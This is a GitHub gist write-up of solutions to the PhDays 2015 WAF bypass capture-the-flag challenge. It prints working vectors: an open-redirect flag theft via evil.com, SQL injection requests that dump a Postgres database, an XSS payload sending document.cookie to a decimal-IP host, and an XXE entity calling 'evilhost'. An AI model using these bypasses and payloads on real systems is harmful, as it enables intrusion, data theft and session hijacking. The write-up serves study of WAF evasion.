Skip to content

Instantly share code, notes, and snippets.

@ngo
Last active March 20, 2020 05:46
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save ngo/1924dc0847e457186a1f to your computer and use it in GitHub Desktop.
Save ngo/1924dc0847e457186a1f to your computer and use it in GitHub Desktop.
PhDays 2015 WAF bypass challenge
This was a fun task to exploit a broken url redirector. URL choo-choo.phdays.com/redirect.php?to=http://phdays.com will get you a 302 redirect to phdays.com/#flag=FLAG_HERE. The flag is retrieved from user session, so we had to construct a link and give it to the bot who had a real flag in his session.
The final vector was to=http://phdays.com:test@evil.com. The hash part of the url is not transmitted to evil.com, so we had to serve a page with js to get it from bot's browser.
This task was solved by p3tand.
We solved this challenge using the same vector as in XSD (with some minor tweaks). The SQLi POC was as follows:
POST /online.php HTTP/1.1
Host: choo-choo.phdays.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://choo-choo.phdays.com/index.php?search=%3Cdiv+%22%3Conasdf%3D1%3E+%3C%2Fasdf%3E
Content-Length: 58
Cookie: WAFBYPASS=543fda85-d7bd-4d6a-a8a7-dfea74ecc28e
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
{"timestamp":"1' where id = (select id from users) ; --"}
There was an XSD challenge, which nobody, as far as I know, solved in an intended way. We weren't quite sure that this was xsd, and found SQLi first.
The vulnerable interface was parsing XML from POST requests to /tickets.php and its id parameter was vulnerable to sqli. We quickly understood that the WAF enforced the parameter length to be exactly 35 chars long, which was a nuisance. Fortunately, we found that changing host to foo.waf-bypass.com (from the intended choo-choo.waf-bypass.com) removed that restriction. All that was left was to bypass the syntax anomaly detection, which was quite easy. The final vector is as follows (db was postgres, so this uses a relatively new error-based box() vector with xml functions to quickly get all database):
POST /tickets.php HTTP/1.1
Host: hui.phdays.com
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Referer: http://choo-choo.phdays.com/index.php?search=%27%22%3E
Content-Length: 174
Cookie: WAFBYPASS=5727e690-39f4-44f1-a271-c6edfc1b4336
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
<search id="'||'aaaaaaaaaaaaaaaabaaaa' ); select box (database_to_xml(TRUE,TRUE,'asd')::text) || 'aaaaaaaaaaaaaaaaaaaaa' || (' "><from></from><to></to><date></date></search>
https://twitter.com/artsploit/status/603686887417618432 contains a 35-char compliant vector doing the same. Also, as I found out later, you could use UTF-16 for the whole body to evade WAF
This was the most creative challenge. As always in XSS, credits go to korse, our js ninja.
The task was an easy xss, but the WAF employed html parsing some exquisite context-specific signatures. At first we played with the idea of confusing the parsing (which was found to be hillariously easy: https://twitter.com/artsploit/status/603686923006255105), but the looked at the page's included js files. We found that it included some fancy bootstrap code (namely, validator: http://1000hz.github.io/bootstrap-validator/). The js code included the following snippet:
this.$element.find('[data-match]').each(function () {
var $this = $(this)
var target = $this.data('match')
$(target).on('input.bs.validator', function (e) {
$this.val() && $this.trigger('input.bs.validator')
})
})
This allowed the following final vector:
<form data-toggle="validator"><div data-match="<img src="http://2667188585" onerror=this.src+=document.cookie />"></div></form>
We had to use decimal ip, to evade the signature detector.
This was a fun task that we found the most time-consuming, though the decision was trivial.
It was an XXE, but the WAF engine blocked SYSTEM "whatever", and the task was to trigger error-based XXE.
The blocking, though, happened only inside DOCTYPE context of xml.
For some reason we didn't came up with an easy decision: https://twitter.com/artsploit/status/603686750309982209, and ended up with a task to confuse WAF's xml parser so that it thought that our payload was in wrong context. At least that is what we assume. The final vector (with some comments):
<?xml version="1.0"?>
<!DOCTYPE body
[
<!-- this here would be blocked : <!ENTITY % remote SYSTEM "flag"> -->
<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://evilhost/log.php;'>"> <!-- this is not blocked because this is in char literal context -->
%param1; <!-- somewhere here the parser gets confused -->
<!ENTITY % remote SYSTEM "flag"> <!-- that's why this one is not blocked -->
%remote; <!-- this triggers the error and outputs the flag -->
]>
<body>
<method>test</method>
</body>
The final solution is by p3tand
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment